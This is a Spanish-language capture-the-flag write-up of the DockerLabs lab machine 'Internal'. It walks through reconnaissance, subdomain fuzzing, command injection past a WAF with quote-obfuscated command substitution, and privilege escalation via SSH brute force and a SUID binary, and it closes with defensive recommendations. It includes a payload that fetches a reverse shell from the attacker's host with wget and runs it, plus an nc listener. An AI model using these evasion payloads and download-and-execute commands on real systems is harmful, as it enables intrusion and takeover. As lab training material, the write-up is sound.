Internal
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Internal, diseñada por buda-sys para la plataforma DockerLabs y clasificada como fácil.
El objetivo es ofrecer un análisis claro, ordenado y técnicamente fundamentado, que incluya:
- Identificación de vectores de entrada.
- Enumeración de subdominios virtuales mediante fuzzing.
- Evasión de un WAF (Web Application Firewall) utilizando técnicas de sustitución de comandos.
- Obtención de ejecución remota de comandos (RCE) y reverse shell.
- Escalada de privilegios mediante el craqueo de contraseñas y el abuso de un binario con permisos SUID.
La metodología empleada se articula en tres fases principales:
- Reconocimiento: detección de puertos, análisis de servicios web y fuzzing de subdominios.
- Explotación: evasión del WAF, descarga de una reverse shell y acceso inicial como
www-data. - Escalada de privilegios: obtención de credenciales para el usuario
vaulty posterior escalada arootmediante un binario SUID.
Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Internal |
| Autor | buda-sys |
| Dificultad | Fácil |
| Fecha | 5/04/2026 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip Internal.zipArrancar el contenedor:
sudo bash auto_deploy.sh Internal.tarEl script de despliegue devuelve la IP interna que utilizaremos durante el análisis:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Mantener un árbol de trabajo ordenado facilita documentar y reproducir cada fase:
mkdir -p Internal/{content,exploits,nmap,gobuster,scripts}cd Internal1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP abiertos para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración web (puerto 80)
Sección titulada «1.3 Enumeración web (puerto 80)»Primero tratamos de listar el índice, pero automáticamente nos arrojó un error, ya que nos redirigía directamente al dominio internal.dl. Por lo tanto, lo agregamos a nuestro /etc/hosts.
Se empleó un escaneo de directorios con Feroxbuster para localizar recursos y rutas interesantes:
feroxbuster -u "http://internal.dl" \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -t 100 -e js,php,txt,html -C 404Resultados relevantes:
- Index: página de una herramienta para encriptar archivos (vault).

No se encontró nada relevante en el fuzzing de rutas.
Por lo tanto, procedimos a realizar una enumeración de subdominios. Al tratarse de dominios virtuales, utilizamos el siguiente comando:
ffuf -c -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.internal.dl" -u http://internal.dl/Esto nos arrojó un único resultado: backup:

Ahora agregamos este subdominio también al /etc/hosts para poder visualizar su contenido:

Paso 2 — Explotación (acceso inicial)
Sección titulada «Paso 2 — Explotación (acceso inicial)»En la web hay un apartado que permite introducir un directorio para, después de pulsar un botón, listar su contenido. Esto nos da una pista directa de una posible inyección de comandos. Probamos a introducir /tmp ; id para ver si funciona:

El resultado nos indica que estamos atravesando un WAF (Web Application Firewall), ya que nos está bloqueando las peticiones. Tras probar distintos métodos de evasión, descubrimos que permite la inyección de comandos a través de sustitución de comandos.
Por lo tanto, en el input escribimos lo siguiente:
$(i''d'')Con esto ya tenemos RCE:

Ingresar una reverse shell directamente sería un poco difícil de codificar debido al WAF, por lo que preferí crear una reverse shell en mi host y levantar un servidor web con python3 -m http.server. Luego, en la página web ingresamos:
/etc/passwd$(w''g''e''t http://172.17.0.1/shell -O /tmp/shell)Activamos nuestro listener en nuestra máquina host: nc -nlvp 443. Después, en la página web ejecutamos la reverse shell:
$(b''a''s''h /tmp/shell)Y obtenemos una reverse shell funcional:

Solo falta normalizar la terminal.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → vault
Sección titulada «3.1 De www-data → vault»Buscando entre los archivos en los que tenemos permisos de lectura, nos topamos con /opt/.vault_pass.txt:

Este archivo contiene un conjunto de contraseñas. Lo guardamos en nuestra máquina host para utilizarlo como un diccionario con Hydra. Ejecutamos:
hydra -l vault -P .vault_pass.txt ssh://172.17.0.2 -t 64 -IEsto nos da una respuesta casi inmediata:

Ahora, regresando a la máquina víctima, solo tenemos que hacer su vault e ingresar la contraseña:

3.2 De vault → root
Sección titulada «3.2 De vault → root»Lo primero que hacemos es listar los permisos SUID:
find / -perm -4000 2>/dev/nullEsto nos arroja los siguientes resultados:

Entre ellos se encuentra un binario interesante: /usr/local/bin/vaultctl. Solo necesitamos ejecutarlo:
./vaultctlY así obtenemos directamente una shell con permisos de administrador:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Redirección a dominio no resoluble localmente | Baja | Requiere modificar /etc/hosts para continuar, pero no es un fallo de seguridad per se. |
| Ausencia de validación de entrada en el parámetro de directorio | Crítica | Permite inyección de comandos (RCE) a pesar del WAF. |
| WAF implementado de forma insuficiente | Alta | Se evade fácilmente mediante sustitución de comandos ($(comando)) y ofuscación con comillas simples. |
Almacenamiento de diccionario de contraseñas en texto claro (/opt/.vault_pass.txt) | Alta | Permite ataques de fuerza bruta contra el usuario vault vía SSH. |
Contraseña débil del usuario vault | Media | Fue crackeada en segundos con un diccionario pequeño. |
Binario vaultctl con permisos SUID sin restricciones | Crítica | Permite a cualquier usuario ejecutarlo y obtener una shell como root inmediatamente. |
Recomendaciones
Sección titulada «Recomendaciones»- Validar y sanitizar todas las entradas de usuario, especialmente aquellas que se utilizan para construir comandos del sistema. Usar funciones seguras como
escapeshellarg()en PHP o evitar por completo la concatenación directa. - Implementar un WAF más robusto que detecte y bloquee técnicas de evasión como sustitución de comandos, ofuscación y codificación.
- No almacenar diccionarios de contraseñas en texto claro dentro del sistema. Las credenciales deben guardarse de forma segura (hash + salt) y con los permisos adecuados.
- Aplicar una política de contraseñas seguras que impida el uso de palabras comunes o predecibles.
- Revisar periódicamente los binarios con permisos SUID. En este caso,
vaultctlno debería tener SUID, y si es estrictamente necesario, debe limitarse su ejecución a usuarios o grupos específicos. - Implementar el principio de mínimo privilegio en todos los niveles del sistema.